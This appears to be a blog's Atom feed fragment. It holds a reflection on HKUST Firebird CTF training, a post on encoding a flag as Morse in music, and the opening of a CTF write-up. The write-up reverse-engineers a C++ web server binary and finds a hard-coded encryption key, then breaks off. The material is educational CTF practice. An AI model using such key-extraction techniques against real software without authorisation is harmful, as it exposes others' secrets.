        <content xml:lang="en" type="html">&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;CTFs explained through the Dunning-Kruger effect. I&#39;m sure there are a lot more trenches.&quot; href=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/ctf-dunning-kruger-2-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/ctf-dunning-kruger-2-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;CTFs explained through the Dunning-Kruger effect. I&#39;m sure there are a lot more trenches.&quot; title=&quot;CTFs explained through the Dunning-Kruger effect. I&#39;m sure there are a lot more trenches.&quot; srcset=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/ctf-dunning-kruger-2-256w.webp 256w, https://trebledj.me/img/posts/experiences/firebird/assets/ctf-dunning-kruger-2-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As an avid programmer with a passion for technology and programming, I was always intrigued by the world of cybersecurity. In my last two years of university, I was thrilled to explore this field further by joining the HKUST Firebird CTF Team. As someone with a programming background but no cybersecurity knowledge (besides rudimentary SQL injection), I was excited to develop my skills in this field.&lt;/p&gt;
&lt;p&gt;Note that my experiences don’t speak for everyone and may not reflect the current situation of the team. With that said, let me introduce the process a bit more. The training is structured as three stages/courses, each taking place over a semester.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Evolution stages of a firebird trainee.&quot; href=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/firebird-stages-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/firebird-stages-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 500&quot; alt=&quot;Evolution stages of a firebird trainee.&quot; title=&quot;Evolution stages of a firebird trainee.&quot; srcset=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/firebird-stages-256w.webp 256w, https://trebledj.me/img/posts/experiences/firebird/assets/firebird-stages-512w.webp 512w, https://trebledj.me/img/posts/experiences/firebird/assets/firebird-stages-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;torchic-the-hatchling&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#torchic-the-hatchling&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Torchic, the Hatchling&lt;/h2&gt;
&lt;p&gt;The first stage (COMP2633) takes place during the Fall term. The Firebird team would host a &lt;a href=&quot;https://intro.firebird.sh/&quot;&gt;beginner-friendly CTF platform&lt;/a&gt; for us to explore the basics. This platform is open to any UST student, even students not registered in COMP2633.&lt;/p&gt;
&lt;p&gt;Each week, senior Firebird members mentor us on various categories of CTF, including binary pwn, reverse engineering, web attacks, cryptography, and forensics. In the first couple weeks, Python and Linux basics are taught, so the training assumes no prior knowledge of cybersecurity/scripting. Regardless, I found my C++, Python, and computer organisation experience helpful to better absorb concepts.&lt;/p&gt;
&lt;p&gt;Two topics are presented each week, and include in-class exercises and homework to reinforce concepts learned. These challenges are similar to CTF challenges, which require us to find a flag. For example, we may need to use a software to reverse-engineer a binary or exploit a web vulnerability. The homework is usually more challenging than the exercises and require more time and effort.&lt;/p&gt;
&lt;p&gt;Some challenges are easier to solve. But don&#39;t be fooled! There&#39;s more where they came from!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;You know, I&#39;m something of an idiot myself.&quot; href=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/hacker-567w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/hacker-567w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 567 / 500&quot; alt=&quot;You know, I&#39;m something of an idiot myself.&quot; title=&quot;You know, I&#39;m something of an idiot myself.&quot; srcset=&quot;https://trebledj.me/img/posts/experiences/firebird/assets/hacker-256w.webp 256w, https://trebledj.me/img/posts/experiences/firebird/assets/hacker-512w.webp 512w, https://trebledj.me/img/posts/experiences/firebird/assets/hacker-567w.webp 567w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 567px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We participated in two (plus one extra) CTF competitions this term. In November, we participated in the &lt;a href=&quot;https://www.hkcert.org/event/capture-the-flag-challenge-2021&quot;&gt;HKCERT CTF competition&lt;/a&gt;, a regional event where secondary and tertiary schools from all over HK (and invited teams outside) compete to hunt for flags.&lt;/p&gt;
&lt;p&gt;In December, some of us were selected to participate in the PwC Hackaday CTF. The format for this CTF was different, where points can be spent to buy hints. Aside from the format, the vibe was much more exhilarating too, as we get to compete in person. (The other events were held online, so they were relatively lacklustre.)&lt;/p&gt;
&lt;p&gt;Finally, in January, we participated in an internal Firebird CTF held to assess our capabilities and select candidates to proceed to the next stage of training. These challenges were designed by Firebird seniors.&lt;/p&gt;
&lt;p&gt;These competitions allowed us to apply our newfound skills in a competitive setting, learn from mistakes, and exchange ideas afterwards through a tradition of &lt;a href=&quot;https://trebledj.me/tags/writeup/&quot;&gt;write-ups&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;combusken-the-fledgling&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#combusken-the-fledgling&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Combusken, the Fledgling&lt;/h2&gt;
&lt;p&gt;The second stage (COMP3633) takes place during the Spring term. Again, training is structured as a course, with weekly sessions and grading. There are two notable activities in this stage: 1) presentations on a CTF topic of our choice, 2) more CTFs!&lt;/p&gt;
&lt;p&gt;The presentations allowed us specialise in a topic and learn from each other. Topics we covered range from advanced pwn techniques (e.g. heap-based attacks) to advanced cryptographic techniques (e.g. lattice-based attacks). This was a great opportunity to practice delivering a presentation, as it prepared us for the next stage (where we would be involved in &lt;em&gt;&lt;strong&gt;a lot&lt;/strong&gt;&lt;/em&gt; of presentations).&lt;/p&gt;
&lt;p&gt;Since I was interested in reverse engineering, I presented on &lt;a href=&quot;https://github.com/TrebledJ/advanced-angr&quot;&gt;advanced angr features and tricks&lt;/a&gt;. Angr is a popular Python symbolic execution library, which is useful for reverse engineering, especially in CTF challenges.&lt;/p&gt;
&lt;p&gt;Another key activity is the participation in more CTFs. We participated in four CTFs hosted worldwide, such as AngstromCTF, zer0ptsCTF, and TAMUCTF. In most of these CTFs, we would participate in one big team (14-16 of us together). In one CTF, we achieved 4th place—perhaps due to our superior manpower—but it was a nice feeling nonetheless. Through these competitions, we gained exposure to a wider range of challenges and take away valuable learnings for future training.&lt;/p&gt;
&lt;h2 id=&quot;blaziken-the-firebird&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#blaziken-the-firebird&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Blaziken, the Firebird&lt;/h2&gt;
&lt;p&gt;In the third and final stage of Firebird&#39;s CTF training, we evolve into senior students, teaching new joiners and designing challenges for exercises, homework, and the internal CTF.&lt;/p&gt;
&lt;p&gt;In this part of training, we learn through teaching and mentoring. Teaching not only provides us an opportunity to share our knowledge and experience, but also the opportunity to give back to the community, to reinforce our understanding of the material, and to develop soft skills.&lt;/p&gt;
&lt;p&gt;I focused on teaching reverse engineering topics, which largely consists of disassembly, decompilation, and symbolic execution—three 2-hour presentations in total.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; I had loads of fun designing &lt;a href=&quot;https://github.com/TrebledJ/USTSim&quot;&gt;challenges&lt;/a&gt; (especially for the internal CTF), helping out on Discord, and rick-rolling oblivious trainees.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;Overall, the HKUST Firebird CTF team is a great opportunity for students to gain hands-on experience in cybersecurity and to develop their skills and knowledge in the field. The program is structured in a way that provides a strong foundation for beginners and allows for the growth and development of more advanced students.&lt;/p&gt;
&lt;p&gt;Through this experience, I gained practical skills and knowledge in cybersecurity. The challenges encountered and time spent designing/executing attacks strongly shaped my understanding and interest for cybersecurity. Aside from technical skills, the latter stages were also great opportunities to improve my presentation and organisation skills. All in all, this extracurricular raised my awareness on the importance of security and of having a moral/ethical mindset, and bolstered my ability to speak.&lt;/p&gt;
&lt;p&gt;If you&#39;re interested in cybersecurity and looking for a way to gain hands-on experience, the HKUST Firebird CTF team is definitely worth considering.&lt;/p&gt;
&lt;p&gt;I encourage those interested in cybersecurity to challenge themselves by trying out online CTFs&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; and, if you’re a UST student, take the opportunity to train with Firebird.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Why do I like reverse engineering? Analysing assembly can be pretty fun, and it’s also crucial when analysing performance of software systems. This is especially important in low-level environments such as embedded devices, or in general for benchmarking. Finding out how things work under the hood is one way to learn. &lt;a href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There are various platforms available online (for free!). Some are HackTheBox, TryHackMe, and VulnHub. &lt;a href=&quot;https://trebledj.me/posts/hkust-firebird-ctf-team/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>hkust</category>
        
          <category>reflection</category>
        
          <category>experience</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Remorse</title>
        <description>Hiding messages with counterpoint.</description>
        <link href="https://trebledj.me/posts/remorse/"/>
        <updated>2023-01-27T00:00:00Z</updated>
        <id>https://trebledj.me/posts/remorse/</id>
        <content xml:lang="en" type="html">&lt;p&gt;A reflection of the past, composed and mixed during my 7-day covid quarantine.&lt;/p&gt;
&lt;p&gt;Time ebbs past,&lt;br /&gt;
As anguish holds fast.&lt;br /&gt;
Without you I’m filled with remorse,&lt;br /&gt;
For you are my one driving force.&lt;/p&gt;
&lt;p&gt;As the season turns,&lt;br /&gt;
My heart still churns.&lt;br /&gt;
I’ll leave my sins and remorse,&lt;br /&gt;
Heading on a different course.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The purpose of composing this piece is threefold: it served as an expression of faith and emotions, a challenge for a &lt;a href=&quot;https://trebledj.me/tags/ctf/&quot;&gt;Capture-the-Flag (CTF)&lt;/a&gt; competition, and an enjoyable way to pass quarantine. There wasn&#39;t any priority to a particular purpose; all of them seemed to develop together.&lt;/p&gt;
&lt;p&gt;This piece was composed for the HKUST Firebird 2023 Internal CTF. Such competitions are designed to challenge players with cybersecurity know-how. Once players identify and exploit a vulnerability, they are rewarded with a &lt;em&gt;flag&lt;/em&gt; (a piece of text), which awards points to the player when submitted. Occasionally, some challenges deviate from the norm and test players in other areas. In this case, my challenge tested players in analysing music and patterns.&lt;/p&gt;
&lt;p&gt;When composing this piece, I aimed to compose something listenable and motivic. I decided to keep constraints flexible within limits. If a music is too constrained, it sounds choked, inevitable, or unimaginative. Some music ciphers out there encode letters into pitches and duration. This was a bit too far for my liking, as it becomes painstakingly difficult to find a pleasurable tune.&lt;/p&gt;
&lt;p&gt;As hinted by the title, I first translated the flag into Morse using an &lt;a href=&quot;https://onlineasciitools.com/convert-ascii-to-morse&quot;&gt;online converter&lt;/a&gt; with the extended Morse character set. This allowed for some punctuation such as &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, and funky non-ASCII characters such as &lt;code&gt;é&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With plaintext, we need to encode at least 50 distinct letters. With Morse, we just need to encode 3 instead: &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, and space (as a word separator). So things are relatively simple.&lt;/p&gt;
&lt;p&gt;I toyed around with a few ideas of encoding these three characters. Eventually I ended up with this mapping:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt; → &amp;quot;Note On&amp;quot; in upper stave (treble clef)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-&lt;/code&gt; → &amp;quot;Note On&amp;quot; in lower stave (bass clef)&lt;/li&gt;
&lt;li&gt;space → &amp;quot;Note On&amp;quot; in both staves&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This lent the music well to a contrapuntal form, with the occasional grace-note or glissando to pack characters in a way that preserves the melodic contour. After composing the sheet music, I ended up mixing it with Reaper for some extra flair and charged resonance, making the night seem younger.&lt;/p&gt;
&lt;p&gt;Enjoy the result!&lt;/p&gt;
</content>
        
          <category>composition</category>
        
          <category>music</category>
        
          <category>faith</category>
        
          <category>piano</category>
        
          <category>counterpoint</category>
        
          <category>modal</category>
        
          <category>electronica</category>
        
          <category>dubsy-wubsy</category>
        
          <category>synths</category>
        
          <category>ctf</category>
        
          <category>writeup</category>
        
          <category>stego</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HKCERT CTF 2022 – C++harming Website</title>
        <description>A harming website? Hope it doesn&#39;t harm my sleep!</description>
        <link href="https://trebledj.me/posts/hkcert-2022-cpp-harming-website/"/>
        <updated>2022-11-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkcert-2022-cpp-harming-website/</id>
        <content xml:lang="en" type="html">&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;350 points. 4/5 ⭐️. 4/311 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Seems someone encrypt their flag with some weird online website. And seems the website is written in C++...&lt;/p&gt;
&lt;p&gt;Does anyone even use C++ to write their web server? I guess C++ is still charm but it must be easy to reverse.... right?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;p&gt;We’re provided with the server binary written in C++. No source code. 😟 We’re also provided with a link to a website (presumably hosted by the server).&lt;/p&gt;
&lt;p&gt;Hmm, I wonder what the website has in store for us. Let’s check it out!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Website seems to work!&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/website-seems-to-work-1016w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/website-seems-to-work-1016w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1016 / 338&quot; alt=&quot;Output of a GET request to the server. It doesn&#39;t seem to handle GET requests.&quot; title=&quot;Website seems to work!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/website-seems-to-work-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/website-seems-to-work-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/website-seems-to-work-1016w.webp 1016w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1016px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;How disappointing. Oh well, perhaps the binary is more helpful. Maybe we can find out how to work the website. Might be important. Might not be important. Who knows?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Firing up Ghidra and loading the binary, we start by going to &lt;code&gt;main&lt;/code&gt; (okay so far!). &lt;code&gt;main&lt;/code&gt; doesn&#39;t seem to do much, besides calling &lt;code&gt;init&lt;/code&gt;, &lt;code&gt;run&lt;/code&gt;, and &lt;code&gt;std::cout&lt;/code&gt;. Things get a lot more interesting when we look at &lt;code&gt;run&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;You can run, but you can&#39;t hide!&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-run-700w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-run-700w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 700 / 556&quot; alt=&quot;You can run, but you can&#39;t hide!&quot; title=&quot;You can run, but you can&#39;t hide!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-run-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-run-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-run-700w.webp 700w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 700px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It’s easy to be intimidated by such a large application. And it’s in C++, so there’s a ton of garbage (&lt;code&gt;std&lt;/code&gt;, templates, constructors, destructors, etc.).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;After a bit of digging, we uncover quite a bit of info:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The server uses a library called &lt;strong&gt;&lt;a href=&quot;https://oatpp.io/&quot;&gt;oatpp&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It’s useful to look at some oatpp examples, as this gives us a general idea of the application flow and structure.&lt;/li&gt;
&lt;li&gt;For example, an endpoint could be defined by using &lt;code&gt;oatpp::web::server::HttpRouter::route&lt;/code&gt; (&lt;a href=&quot;https://oatpp.io/docs/start/step-by-step/#add-request-handler&quot;&gt;example&lt;/a&gt;) or with the &lt;code&gt;ENDPOINT&lt;/code&gt; macro (&lt;a href=&quot;https://oatpp.io/docs/start/step-by-step/#use-api-controller&quot;&gt;example&lt;/a&gt;). It appears our charming website was using the latter.&lt;/li&gt;
&lt;li&gt;Now that we know what library is used, can we find out what the endpoint is?&lt;/li&gt;
&lt;li&gt;Yes. In the examples, we see that the endpoints are hardcoded. Chances are, the endpoints in the charming website are also hardcoded, and thus stored in static memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let’s look at some strings!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ghidra has a “Defined Strings” tool for browsing strings...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;But I ended up using the &lt;code&gt;strings&lt;/code&gt; command along with &lt;code&gt;grep&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;strings cryptor-exe &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-Ev&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;^_Z.*&#39;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Filter out most C++ symbols. (Manually leaf through the rest.)&lt;/span&gt;
strings cryptor-exe &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;/&#39;&lt;/span&gt;         &lt;span class=&quot;token comment&quot;&gt;# Search for endpoint or MIME type.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Bash&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;With this, we find out that the endpoint is &lt;strong&gt;&lt;code&gt;/encrypt&lt;/code&gt;&lt;/strong&gt;, and the MIME type is &lt;strong&gt;&lt;code&gt;application/json&lt;/code&gt;&lt;/strong&gt;. No other MIME type appears, so it&#39;s probably using JSON for both request and response.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We can guess which JSON keys are parsed by looking at other strings. It appears the only key used is &lt;code&gt;message&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We can try to use Postman or whatever to test the endpoint. Let&#39;s have a spin:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Postman Pat&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-1788w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-1788w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1788 / 1214&quot; alt=&quot;Postman output of a POST request to the server.&quot; title=&quot;Postman Pat&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/hkcert22/assets/postman-pat-postman-pat-postman-pat-and-his-black-and-white-cat-1788w.webp 1788w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1788px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There’s also some interesting strings such as “&lt;em&gt;charm.c&lt;/em&gt;”. But I thought this was a C++ application? Perhaps a third-party library? Maybe we can use this later on.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The gold can be found in &lt;strong&gt;&lt;code&gt;MyController::Encrypt::encrypt&lt;/code&gt;&lt;/strong&gt;. This is where all the juicy stuff takes place. You can arrive here through a number of ways (e.g. following XREFs of &lt;code&gt;uc_encrypt&lt;/code&gt;).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The function begins by generating a random Initialisation Vector (IV).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It then initialises some state using &lt;code&gt;uc_state_init&lt;/code&gt; with a key.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Juicy init.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-1-874w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-1-874w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 874 / 214&quot; alt=&quot;Decompilation of the encrypt function. The code initialises random bytes and inits the state of the encryptor.&quot; title=&quot;Juicy init.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-1-874w.webp 874w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 874px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fortunately, the key is stored in static memory. In plain sight. This is very blursed: blessed, because (from a CTF POV) we don&#39;t need much work; and cursed, because (from a dev vs. exploiter POV) we don&#39;t need much work.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;YAS!&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/encryption-rev-chal-with-hardcoded-key-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/encryption-rev-chal-with-hardcoded-key-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Third world success meme!&quot; title=&quot;YAS!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/encryption-rev-chal-with-hardcoded-key-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/encryption-rev-chal-with-hardcoded-key-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The message is then encrypted using &lt;code&gt;uc_encrypt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Juicy encrypt.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-2-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-2-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 328&quot; alt=&quot;Decompilation of the encryption function being called.&quot; title=&quot;Juicy encrypt.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert22/assets/decompile-encrypt-2-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have no idea what &lt;code&gt;puVar[-0x227] = X&lt;/code&gt; does, and apparently it&#39;s not important.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally, &lt;code&gt;encrypt&lt;/code&gt; encodes the message, tag, and IV in Base64; then sends out a JSON response.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now how do we go about reversing this encryption?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&#39;s probably not trivial—most encryptions aren&#39;t.&lt;/li&gt;
&lt;li&gt;What cryptographic algorithms use a tag and IV? Google suggested AES-GCM.&lt;/li&gt;
&lt;li&gt;Oh, but wait—there’s a &lt;code&gt;uc_decrypt&lt;/code&gt; function...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;pikachu-used-charm-it-s-not-very-effective&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-cpp-harming-website/#pikachu-used-charm-it-s-not-very-effective&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Pikachu used charm! It’s not very effective.&lt;/h2&gt;
